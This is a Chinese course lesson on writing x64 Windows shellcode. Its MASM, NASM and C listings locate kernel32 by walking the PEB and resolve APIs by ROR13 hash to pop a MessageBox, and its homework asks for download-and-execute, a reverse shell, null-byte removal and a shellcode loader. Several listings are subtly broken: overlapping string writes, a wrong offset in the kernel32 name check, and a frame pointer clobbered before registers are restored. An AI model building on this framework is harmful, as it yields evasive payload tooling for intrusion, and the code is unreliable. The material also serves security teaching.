shellcode开发技术
5、x64shellcode框架
1、课程目标
- 理解x64架构与x86的关键差异
- 掌握x64 ShellCode的开发技术
- 实现完整的x64 ShellCode框架
- 掌握x64调用约定和寄存器使用
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| x64 | AMD64/x86-64 | 64位扩展架构 |
| GS | GS Segment | x64用于访问TEB的段寄存器 |
| RCX/RDX/R8/R9 | - | x64调用约定的前4个参数寄存器 |
| Shadow Space | 影子空间 | 函数调用时预留的32字节栈空间 |
| Red Zone | 红区 | 栈指针下方128字节的保留区域 |
| REX | Register Extension | x64指令前缀,用于访问扩展寄存器 |
3、使用工具
| 工具 | 用途 | 备注 |
|---|---|---|
| MASM (ml64) | x64汇编 | VS自带 |
| NASM | 跨平台汇编 | 支持x64 |
| x64dbg | 64位调试 | 调试验证 |
| Visual Studio | 开发环境 | x64不支持内联汇编 |
4、技术原理
1. x86与x64关键差异
| 特性 | x86 | x64 |
|---|---|---|
| 指针大小 | 4字节 | 8字节 |
| 通用寄存器 | EAX-EDI (8个) | RAX-R15 (16个) |
| TEB访问 | FS:[0x30] | GS:[0x60] |
| 调用约定 | cdecl/stdcall | Microsoft x64 |
| 参数传递 | 栈 | RCX,RDX,R8,R9+栈 |
| 返回值 | EAX | RAX |
| 影子空间 | 无 | 32字节必需 |
2. x64调用约定
参数传递:
整数/指针: RCX, RDX, R8, R9, 栈
浮点数: XMM0, XMM1, XMM2, XMM3, 栈
影子空间: 调用前必须预留32字节
sub rsp, 0x28 ; 32(影子) + 8(对齐) = 40 = 0x28
非易失寄存器: RBX, RBP, RDI, RSI, RSP, R12-R15
易失寄存器: RAX, RCX, RDX, R8-R11
3. PEB结构偏移对比
x86: x64:
TEB: FS:[0x00] TEB: GS:[0x00]
PEB: FS:[0x30] PEB: GS:[0x60]
Ldr: PEB+0x0C Ldr: PEB+0x18
InLoadOrder: Ldr+0x0C InLoadOrder: Ldr+0x10
InMemoryOrder: Ldr+0x14 InMemoryOrder: Ldr+0x20
InInitOrder: Ldr+0x1C InInitOrder: Ldr+0x30
4. LDR_DATA_TABLE_ENTRY偏移
x86: x64:
DllBase: +0x18 DllBase: +0x30
EntryPoint: +0x1C EntryPoint: +0x38
SizeOfImage: +0x20 SizeOfImage: +0x40
FullDllName: +0x24 FullDllName: +0x48
BaseDllName: +0x2C BaseDllName: +0x58
5、代码实现
1. x64 ShellCode框架(MASM)
; x64_shellcode.asm
; x64 ShellCode完整框架 - MASM64格式
; 编译: ml64 /c x64_shellcode.asm
; link /entry:ShellEntry /subsystem:console x64_shellcode.obj
.code
; 哈希常量
HASH_KERNEL32 EQU 06A4ABC5Bh
HASH_LOADLIBRARYA EQU 0EC0E4E8Eh
HASH_GETPROCADDRESS EQU 07C0DFCAAh
HASH_EXITPROCESS EQU 073E2D87Eh
HASH_MESSAGEBOXA EQU 0BC4DA2A8h
; ====== ShellCode入口 ======
ShellEntry PROC
; 保存非易失寄存器
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push r14
push r15
; 对齐栈(16字节对齐)
sub rsp, 28h ; 影子空间 + 对齐
; === 获取kernel32.dll基址 ===
xor rcx, rcx
mov rax, gs:[60h] ; PEB
mov rax, [rax + 18h] ; Ldr
mov rsi, [rax + 20h] ; InMemoryOrderModuleList.Flink
find_kernel32:
mov rdi, [rsi + 50h] ; BaseDllName.Buffer
test rdi, rdi
jz next_module
; 检查是否为kernel32
movzx rax, word ptr [rdi]
or rax, 20h ; 转小写
cmp al, 'k'
jne next_module
movzx rax, word ptr [rdi + 0Eh]
cmp al, '3'
jne next_module
; 找到kernel32
mov rbx, [rsi + 20h] ; DllBase
jmp got_kernel32
next_module:
mov rsi, [rsi] ; Flink
jmp find_kernel32
got_kernel32:
; rbx = kernel32.dll基址
; === 获取GetProcAddress ===
mov rcx, rbx
mov rdx, HASH_GETPROCADDRESS
call GetFunctionByHash
mov r12, rax ; r12 = GetProcAddress
; === 获取LoadLibraryA ===
mov rcx, rbx
mov rdx, HASH_LOADLIBRARYA
call GetFunctionByHash
mov r13, rax ; r13 = LoadLibraryA
; === 获取ExitProcess ===
mov rcx, rbx
mov rdx, HASH_EXITPROCESS
call GetFunctionByHash
mov r14, rax ; r14 = ExitProcess
; === 加载user32.dll ===
; 构造字符串 "user32.dll"
sub rsp, 20h ; 为字符串分配空间
mov rax, 'resu' ; "user" (little endian)
mov [rsp], rax
mov rax, 'd.23' ; "32.d"
mov [rsp+4], rax
mov word ptr [rsp+8], 'll'
mov byte ptr [rsp+10], 0
lea rcx, [rsp] ; lpLibFileName
call r13 ; LoadLibraryA
mov r15, rax ; r15 = user32.dll
add rsp, 20h
; === 获取MessageBoxA ===
mov rcx, r15
mov rdx, HASH_MESSAGEBOXA
call GetFunctionByHash
mov rbp, rax ; rbp = MessageBoxA
; === 调用MessageBoxA ===
sub rsp, 20h ; 字符串空间
mov dword ptr [rsp], 'lleH'
mov dword ptr [rsp+4], '!o'
mov byte ptr [rsp+6], 0
xor rcx, rcx ; hWnd = NULL
lea rdx, [rsp] ; lpText
xor r8, r8 ; lpCaption = NULL
xor r9, r9 ; uType = MB_OK
sub rsp, 20h ; 影子空间
call rbp
add rsp, 40h
; === 退出 ===
xor rcx, rcx ; 退出码 = 0
call r14 ; ExitProcess(0)
; 清理并返回
add rsp, 28h
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbp
pop rbx
ret
ShellEntry ENDP
; ====== GetFunctionByHash ======
; 参数: RCX = 模块基址, RDX = 哈希值
; 返回: RAX = 函数地址
GetFunctionByHash PROC
push rbp
mov rbp, rsp
push rbx
push rsi
push rdi
push r8
push r9
push r10
push r11
sub rsp, 20h
mov rbx, rcx ; rbx = 模块基址
mov r8, rdx ; r8 = 目标哈希
; 获取导出表
mov eax, [rbx + 3Ch] ; e_lfanew
mov eax, [rbx + rax + 88h] ; 导出表RVA (x64偏移)
test eax, eax
jz not_found_func
add rax, rbx ; 导出表VA
mov rdi, rax ; rdi = 导出表
mov esi, [rdi + 20h] ; AddressOfNames RVA
add rsi, rbx ; rsi = 名称表
xor r9, r9 ; 索引 = 0
find_function_loop:
mov r10d, [rdi + 18h] ; NumberOfNames
cmp r9d, r10d
jge not_found_func
mov eax, [rsi + r9*4] ; 名称RVA
add rax, rbx ; 名称VA
; 计算哈希
xor r10, r10 ; hash = 0
hash_loop:
movzx r11, byte ptr [rax]
test r11b, r11b
jz hash_done
ror r10d, 13
add r10d, r11d
inc rax
jmp hash_loop
hash_done:
cmp r10d, r8d ; 比较哈希
je found_function
inc r9
jmp find_function_loop
found_function:
; 获取序号
mov eax, [rdi + 24h] ; AddressOfNameOrdinals RVA
add rax, rbx
movzx eax, word ptr [rax + r9*2]
; 获取函数地址
mov r10d, [rdi + 1Ch] ; AddressOfFunctions RVA
add r10, rbx
mov eax, [r10 + rax*4] ; 函数RVA
add rax, rbx ; 函数VA
jmp done_func
not_found_func:
xor rax, rax
done_func:
add rsp, 20h
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbx
pop rbp
ret
GetFunctionByHash ENDP
END
2. NASM格式的x64 ShellCode
; x64_shellcode_nasm.asm
; NASM格式 - x64 ShellCode
; 编译: nasm -f win64 x64_shellcode_nasm.asm -o shellcode.obj
; 或: nasm -f bin x64_shellcode_nasm.asm -o shellcode.bin
BITS 64
; 哈希常量
%define HASH_KERNEL32 0x6A4ABC5B
%define HASH_LOADLIBRARYA 0xEC0E4E8E
%define HASH_GETPROCADDRESS 0x7C0DFCAA
%define HASH_EXITPROCESS 0x73E2D87E
%define HASH_MESSAGEBOXA 0xBC4DA2A8
section .text
global _start
_start:
; 保存寄存器
push rbx
push rbp
push rdi
push rsi
push r12
push r13
push r14
push r15
; === 获取kernel32基址 ===
xor rcx, rcx
mov rax, [gs:0x60] ; PEB
mov rax, [rax + 0x18] ; Ldr
mov rsi, [rax + 0x20] ; InMemoryOrderModuleList.Flink
.find_kernel32:
mov rdi, [rsi + 0x50] ; BaseDllName.Buffer
test rdi, rdi
jz .next_module
movzx rax, word [rdi]
or rax, 0x20
cmp al, 'k'
jne .next_module
movzx rax, word [rdi + 14]
cmp al, '3'
jne .next_module
mov rbx, [rsi + 0x20] ; DllBase
jmp .got_kernel32
.next_module:
mov rsi, [rsi]
jmp .find_kernel32
.got_kernel32:
; rbx = kernel32
; === 解析导出表获取函数 ===
; 获取GetProcAddress
mov rcx, rbx
mov edx, HASH_GETPROCADDRESS
call .get_func_by_hash
mov r12, rax ; r12 = GetProcAddress
; 获取LoadLibraryA
mov rcx, rbx
mov edx, HASH_LOADLIBRARYA
call .get_func_by_hash
mov r13, rax ; r13 = LoadLibraryA
; 获取ExitProcess
mov rcx, rbx
mov edx, HASH_EXITPROCESS
call .get_func_by_hash
mov r14, rax ; r14 = ExitProcess
; === 加载user32.dll ===
sub rsp, 0x20
mov dword [rsp], 'user'
mov dword [rsp+4], '32.d'
mov word [rsp+8], 'll'
mov byte [rsp+10], 0
mov rcx, rsp
sub rsp, 0x20 ; 影子空间
call r13 ; LoadLibraryA
add rsp, 0x40
mov r15, rax ; r15 = user32
; === 获取MessageBoxA ===
mov rcx, r15
mov edx, HASH_MESSAGEBOXA
call .get_func_by_hash
mov rbp, rax
; === 调用MessageBoxA ===
sub rsp, 0x10
mov dword [rsp], 'Hell'
mov dword [rsp+4], 'o!'
mov byte [rsp+6], 0
xor rcx, rcx ; hWnd
lea rdx, [rsp] ; lpText
xor r8, r8 ; lpCaption
xor r9, r9 ; uType
sub rsp, 0x20 ; 影子空间
call rbp
add rsp, 0x30
; === 退出 ===
xor rcx, rcx
sub rsp, 0x20
call r14
add rsp, 0x20
; 恢复并返回
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbp
pop rbx
ret
; ====== 内部函数:通过哈希获取函数地址 ======
; rcx = 模块基址, edx = 哈希
; 返回: rax = 函数地址
.get_func_by_hash:
push rbx
push rsi
push rdi
push r8
push r9
push r10
mov rbx, rcx ; 模块基址
mov r8d, edx ; 目标哈希
; 导出表
mov eax, [rbx + 0x3C] ; e_lfanew
mov eax, [rbx + rax + 0x88] ; x64导出表RVA
test eax, eax
jz .func_not_found
add rax, rbx
mov rdi, rax ; 导出表
mov esi, [rdi + 0x20] ; AddressOfNames RVA
add rsi, rbx
xor r9, r9 ; 索引
.func_find_loop:
cmp r9d, [rdi + 0x18] ; NumberOfNames
jge .func_not_found
mov eax, [rsi + r9*4]
add rax, rbx ; 函数名VA
; 计算ROR13哈希
xor r10, r10
.hash_calc:
movzx ecx, byte [rax]
test cl, cl
jz .hash_compare
ror r10d, 13
add r10d, ecx
inc rax
jmp .hash_calc
.hash_compare:
cmp r10d, r8d
je .func_found
inc r9
jmp .func_find_loop
.func_found:
mov eax, [rdi + 0x24] ; AddressOfNameOrdinals
add rax, rbx
movzx eax, word [rax + r9*2]
mov r10d, [rdi + 0x1C] ; AddressOfFunctions
add r10, rbx
mov eax, [r10 + rax*4]
add rax, rbx
jmp .func_done
.func_not_found:
xor rax, rax
.func_done:
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbx
ret
3. C语言版本(使用独立asm文件)
// x64_shellcode_c.c
// x64 ShellCode框架 - C语言实现
// 需要配合独立的.asm文件或使用intrinsic
#include <windows.h>
#include <stdio.h>
#include <intrin.h>
// 哈希常量
#define HASH_KERNEL32 0x6A4ABC5B
#define HASH_LOADLIBRARYA 0xEC0E4E8E
#define HASH_GETPROCADDRESS 0x7C0DFCAA
#define HASH_EXITPROCESS 0x73E2D87E
#define HASH_MESSAGEBOXA 0xBC4DA2A8
#define HASH_USER32 0x63C84283
// 函数指针类型
typedef HMODULE (WINAPI* PFN_LOADLIBRARYA)(LPCSTR);
typedef FARPROC (WINAPI* PFN_GETPROCADDRESS)(HMODULE, LPCSTR);
typedef void (WINAPI* PFN_EXITPROCESS)(UINT);
typedef int (WINAPI* PFN_MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
// ROR13哈希
__forceinline DWORD Ror13Hash(const char* str) {
DWORD hash = 0;
while (*str) {
hash = _rotr(hash, 13) + *str;
str++;
}
return hash;
}
// 通过PEB获取模块基址
__forceinline HMODULE GetModuleByHash(DWORD hash) {
PPEB pPeb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;
PLIST_ENTRY pEntry = pHead->Flink;
while (pEntry != pHead) {
PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(
pEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks
);
if (pModule->BaseDllName.Buffer) {
// 计算模块名哈希(小写化)
DWORD moduleHash = 0;
WCHAR* name = pModule->BaseDllName.Buffer;
while (*name) {
WCHAR c = *name;
if (c >= 'A' && c <= 'Z') c += 0x20;
moduleHash = _rotr(moduleHash, 13) + (BYTE)c;
name++;
}
if (moduleHash == hash) {
return (HMODULE)pModule->DllBase;
}
}
pEntry = pEntry->Flink;
}
return NULL;
}
// 通过哈希从模块获取函数
__forceinline FARPROC GetFuncByHash(HMODULE hModule, DWORD hash) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS64 pNt = (PIMAGE_NT_HEADERS64)((LPBYTE)hModule + pDos->e_lfanew);
DWORD exportRva = pNt->OptionalHeader.DataDirectory[0].VirtualAddress;
if (!exportRva) return NULL;
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hModule + exportRva);
PDWORD pFunctions = (PDWORD)((LPBYTE)hModule + pExport->AddressOfFunctions);
PDWORD pNames = (PDWORD)((LPBYTE)hModule + pExport->AddressOfNames);
PWORD pOrdinals = (PWORD)((LPBYTE)hModule + pExport->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* name = (char*)((LPBYTE)hModule + pNames[i]);
if (Ror13Hash(name) == hash) {
return (FARPROC)((LPBYTE)hModule + pFunctions[pOrdinals[i]]);
}
}
return NULL;
}
// ShellCode主逻辑 - 可以转换为纯汇编
void ShellcodeMain() {
// 获取kernel32
HMODULE hKernel32 = GetModuleByHash(HASH_KERNEL32);
// 获取关键API
PFN_LOADLIBRARYA pLoadLibraryA =
(PFN_LOADLIBRARYA)GetFuncByHash(hKernel32, HASH_LOADLIBRARYA);
PFN_GETPROCADDRESS pGetProcAddress =
(PFN_GETPROCADDRESS)GetFuncByHash(hKernel32, HASH_GETPROCADDRESS);
PFN_EXITPROCESS pExitProcess =
(PFN_EXITPROCESS)GetFuncByHash(hKernel32, HASH_EXITPROCESS);
// 加载user32.dll
char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
HMODULE hUser32 = pLoadLibraryA(szUser32);
// 获取MessageBoxA
char szMsgBox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
PFN_MESSAGEBOXA pMessageBoxA =
(PFN_MESSAGEBOXA)pGetProcAddress(hUser32, szMsgBox);
// 显示消息
char szTitle[] = {'x','6','4',' ','S','h','e','l','l',0};
char szText[] = {'H','e','l','l','o',' ','x','6','4','!',0};
pMessageBoxA(NULL, szText, szTitle, 0);
// 退出
pExitProcess(0);
}
// x64汇编辅助(需要在.asm文件中实现)
extern void ShellcodeEntry_ASM();
int main() {
printf("========================================\n");
printf(" x64 ShellCode Framework \n");
printf("========================================\n\n");
// 测试C版本
printf("[*] Testing C version...\n");
printf("[*] Press Enter to execute MessageBox\n");
getchar();
ShellcodeMain();
return 0;
}
4. 独立的x64汇编文件(供C调用)
; x64_shell_asm.asm
; 供C程序调用的x64 ShellCode入口
; 编译: ml64 /c x64_shell_asm.asm
.data
szUser32 db 'user32.dll', 0
szMsgBox db 'MessageBoxA', 0
szTitle db 'x64 Shell', 0
szText db 'Hello from ASM!', 0
.code
; 导出函数
PUBLIC ShellcodeEntry_ASM
; 哈希常量
HASH_KERNEL32 EQU 06A4ABC5Bh
HASH_LOADLIBRARYA EQU 0EC0E4E8Eh
HASH_GETPROCADDRESS EQU 07C0DFCAAh
HASH_EXITPROCESS EQU 073E2D87Eh
ShellcodeEntry_ASM PROC
; 标准函数序言
push rbp
mov rbp, rsp
sub rsp, 60h ; 本地变量 + 影子空间
; 保存非易失寄存器
mov [rbp-8], rbx
mov [rbp-10h], rdi
mov [rbp-18h], rsi
mov [rbp-20h], r12
mov [rbp-28h], r13
mov [rbp-30h], r14
mov [rbp-38h], r15
; === 获取kernel32 ===
mov rax, gs:[60h] ; PEB
mov rax, [rax + 18h] ; Ldr
mov rsi, [rax + 20h] ; InMemoryOrderModuleList.Flink
@@find_k32:
mov rdi, [rsi + 50h] ; BaseDllName.Buffer
test rdi, rdi
jz @@next_mod
movzx rax, word ptr [rdi]
or rax, 20h
cmp al, 'k'
jne @@next_mod
movzx rax, word ptr [rdi + 0Eh]
cmp al, '3'
jne @@next_mod
mov rbx, [rsi + 20h] ; DllBase
jmp @@got_k32
@@next_mod:
mov rsi, [rsi]
jmp @@find_k32
@@got_k32:
; rbx = kernel32
; === 获取LoadLibraryA ===
mov rcx, rbx
mov edx, HASH_LOADLIBRARYA
call GetFuncByHashInternal
mov r12, rax ; r12 = LoadLibraryA
; === 获取GetProcAddress ===
mov rcx, rbx
mov edx, HASH_GETPROCADDRESS
call GetFuncByHashInternal
mov r13, rax ; r13 = GetProcAddress
; === 获取ExitProcess ===
mov rcx, rbx
mov edx, HASH_EXITPROCESS
call GetFuncByHashInternal
mov r14, rax ; r14 = ExitProcess
; === 加载user32.dll ===
lea rcx, szUser32
call r12 ; LoadLibraryA
mov r15, rax ; r15 = user32
; === 获取MessageBoxA ===
mov rcx, r15
lea rdx, szMsgBox
call r13 ; GetProcAddress
mov rbp, rax ; rbp = MessageBoxA (临时使用)
; === 调用MessageBoxA ===
xor rcx, rcx ; hWnd = NULL
lea rdx, szText ; lpText
lea r8, szTitle ; lpCaption
xor r9, r9 ; uType = MB_OK
call rbp
; === 退出 ===
xor rcx, rcx
call r14 ; ExitProcess(0)
; 恢复寄存器
mov rbx, [rbp-8]
mov rdi, [rbp-10h]
mov rsi, [rbp-18h]
mov r12, [rbp-20h]
mov r13, [rbp-28h]
mov r14, [rbp-30h]
mov r15, [rbp-38h]
add rsp, 60h
pop rbp
ret
ShellcodeEntry_ASM ENDP
; 内部函数:通过哈希获取函数
GetFuncByHashInternal PROC
push r10
push r11
mov r10, rcx ; 模块基址
mov r11d, edx ; 目标哈希
mov eax, [r10 + 3Ch] ; e_lfanew
mov eax, [r10 + rax + 88h] ; 导出表RVA
test eax, eax
jz @@not_found
add rax, r10 ; 导出表VA
push rax ; 保存导出表
mov ecx, [rax + 20h] ; AddressOfNames RVA
add rcx, r10 ; AddressOfNames VA
xor edx, edx ; 索引
@@loop:
pop rax
push rax
cmp edx, [rax + 18h]
jge @@not_found_pop
mov eax, [rcx + rdx*4]
add rax, r10 ; 名称VA
; 计算哈希
push rcx
push rdx
xor ecx, ecx ; hash
@@hash:
movzx edx, byte ptr [rax]
test dl, dl
jz @@hash_done
ror ecx, 13
add ecx, edx
inc rax
jmp @@hash
@@hash_done:
cmp ecx, r11d
pop rdx
pop rcx
je @@found
inc edx
jmp @@loop
@@found:
pop rax ; 导出表
push rax
mov ecx, [rax + 24h] ; AddressOfNameOrdinals
add rcx, r10
movzx ecx, word ptr [rcx + rdx*2]
mov eax, [rax + 1Ch] ; AddressOfFunctions
add rax, r10
mov eax, [rax + rcx*4]
add rax, r10
pop rcx ; 清理栈
jmp @@done
@@not_found_pop:
pop rax
@@not_found:
xor eax, eax
@@done:
pop r11
pop r10
ret
GetFuncByHashInternal ENDP
END
5、课后作业
5.1、作业1:添加更多功能
扩展x64 ShellCode,添加以下功能:
- 下载并执行文件
- 反向Shell连接
5.2、作业2:消除空字节
检查并消除x64 ShellCode中的所有空字节。
5.3、作业3:实现x64 Loader
编写一个x64 ShellCode加载器,支持从文件加载并执行。